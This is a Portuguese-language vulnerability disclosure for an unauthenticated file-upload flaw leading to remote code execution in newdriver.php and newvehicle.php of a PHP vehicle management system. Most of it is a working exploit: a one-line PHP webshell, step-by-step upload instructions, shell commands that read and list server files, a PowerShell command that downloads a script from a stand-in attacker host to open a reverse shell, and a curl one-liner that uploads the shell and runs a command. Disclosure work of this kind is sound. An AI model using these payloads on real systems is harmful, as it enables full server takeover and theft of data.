Sistema de Gerenciamento de Veículos em PHP - Execução Remota de Código Não Autenticada via Upload de Arquivo em newdriver.php

Informações da Vulnerabilidade

Campo	Detalhes
Produto	Vehicle Management System In PHP
Fornecedor	code-projects.org
Versão	V1.0
Tipo de Vulnerabilidade	Upload de Arquivo Irrestrito levando à Execução Remota de Código (CWE-434)
Arquivos Afetados	newdriver.php, newvehicle.php
Parâmetro	photo (POST, multipart/form-data)
Autenticação Necessária	Não (Não Autenticado)
Pontuação CVSS	10.0 Crítico
Vetor de Ataque	Remoto / Rede
Privilégios Necessários	Nenhum
Interação do Usuário	Nenhuma

---

Descrição

O Vehicle Management System In PHP V1.0 da code-projects.org é vulnerável à Execução Remota de Código não autenticada via upload irrestrito de arquivo em newdriver.php (e identicamente em newvehicle.php).

A aplicação expõe um formulário de registro 'Novo Motorista' somente para administradores em newdriver.php que inclui um campo de upload de foto. No entanto, o endpoint não realiza nenhuma validação de sessão — qualquer atacante não autenticado pode acessá-lo diretamente sem ser redirecionado ao login. Além disso, o campo de upload de foto aceita qualquer tipo de arquivo, incluindo arquivos PHP, sem filtragem de extensão, validação de tipo MIME ou inspeção de conteúdo.

Um atacante pode:

1. Visitar diretamente newdriver.php sem qualquer sessão ou credenciais
2. Enviar o formulário do motorista com um webshell PHP como a 'foto'
3. O shell é salvo no diretório /picture/
4. Navegar até o shell enviado e executar comandos arbitrários do sistema operacional no servidor

Isso resulta em Execução Remota de Código completa com os privilégios do processo do servidor web.

---

Cadeia da Vulnerabilidade

Requisição HTTP Não Autenticada
        ↓
newdriver.php (sem verificação de sessão)
        ↓
campo photo aceita arquivo .php (sem validação de tipo de arquivo)
        ↓
Shell salvo em /picture/web_shell.php
        ↓
GET /picture/web_shell.php?cmd=whoami
        ↓
RCE — execução arbitrária de comandos do SO

---

Passos para Reproduzir

Passo 1 — Confirmar acesso não autenticado a newdriver.php

Abra um navegador limpo sem sessão (janela anônima/privada). Navegue diretamente para o endpoint:

http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php

O formulário Novo Motorista carrega com sucesso sem verificação de autenticação e sem redirecionamento ao login.

---

Passo 2 — Preparar o webshell PHP

Crie um webshell simples de execução de comandos PHP:

<?php system($_GET['cmd']); ?>

Salve como shell.php (ou qualquer nome de arquivo .php).

---

Passo 3 — Enviar o formulário com o webshell como a foto

Preencha os campos do formulário do motorista com quaisquer valores e selecione o webshell PHP como o upload da foto:

Nome do Motorista:        test
Celular:             1234567890
Data de Entrada do Motorista: 2026-05-19
Identidade Nacional:        test
Nº da Carteira:         test
Data de Validade da Carteira:   2026-05-30
Endereço do Motorista:     test
Foto:              shell.php   ← webshell PHP enviado aqui

Clique em Submit Query.

---

Passo 4 — Upload do shell confirmado

A aplicação responde com "Registration Completed!" — confirmando que o shell PHP foi aceito e salvo sem nenhuma validação.

---

Passo 5 — Executar comandos arbitrários através do shell enviado

Navegue até o shell enviado no diretório /picture/ e passe comandos do SO através do parâmetro cmd:

http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami

O servidor executa o comando e retorna a saída:

desktop-g1i9np3\dell

---

Passo 6 — Exemplos adicionais de execução de comandos

# Ler arquivos sensíveis
http://TARGET/.../picture/shell.php?cmd=type+C:\xampp\htdocs\VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\newdriver.php

# Listar raiz da web
http://TARGET/.../picture/shell.php?cmd=dir+C:\xampp\htdocs\

# Reverse shell completo via PowerShell
http://TARGET/.../picture/shell.php?cmd=powershell+-c+"IEX(New-Object+Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"

---

Segundo Endpoint Afetado — newvehicle.php

A vulnerabilidade idêntica existe em newvehicle.php. Um atacante não autenticado pode acessar o formulário Adicionar Novo Veículo, enviar um webshell PHP através do campo de foto do veículo e obter RCE através do mesmo método.

http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newvehicle.php

Ambos os endpoints compartilham a mesma causa raiz: nenhuma validação de sessão e nenhuma restrição de upload de arquivo.

---

PoC curl (Uma linha)

curl -s -X POST \
  "http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php" \
  -F "dname=test" \
  -F "mobile=1234567890" \
  -F "djoiningdate=2026-05-19" \
  -F "nid=test" \
  -F "licenseno=test" \
  -F "licenseenddate=2026-05-30" \
  -F "daddress=test" \
  -F "[email protected];type=image/jpeg" \
  && echo "[+] Shell uploaded" \
  && curl -s "http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami"

---

Impacto

• Execução Remota de Código Não Autenticada — qualquer atacante anônimo na rede obtém execução completa de comandos do SO
• Comprometimento completo do servidor — acesso de leitura/escrita a todos os arquivos, credenciais, configuração do banco de dados
• Nenhuma interação necessária — exploit totalmente automatizado em uma única requisição HTTP
• Dois endpoints afetados — newdriver.php e newvehicle.php ambos vulneráveis

---

Arquivos Afetados

Arquivo	Campo de Upload	Caminho de Armazenamento do Shell
newdriver.php	photo	/picture/
newvehicle.php	photo	/picture/

---

Informações do Fornecedor

• Página do Fornecedor: https://code-projects.org/vehicle-management-system-in-php-with-source-code/
• Download: https://code-projects.org/vehicle-management-system-in-php-with-source-code/

---

Descoberto Por

Syed Imad Uddin Alvi (imad alvi)
Pesquisador de Segurança Independente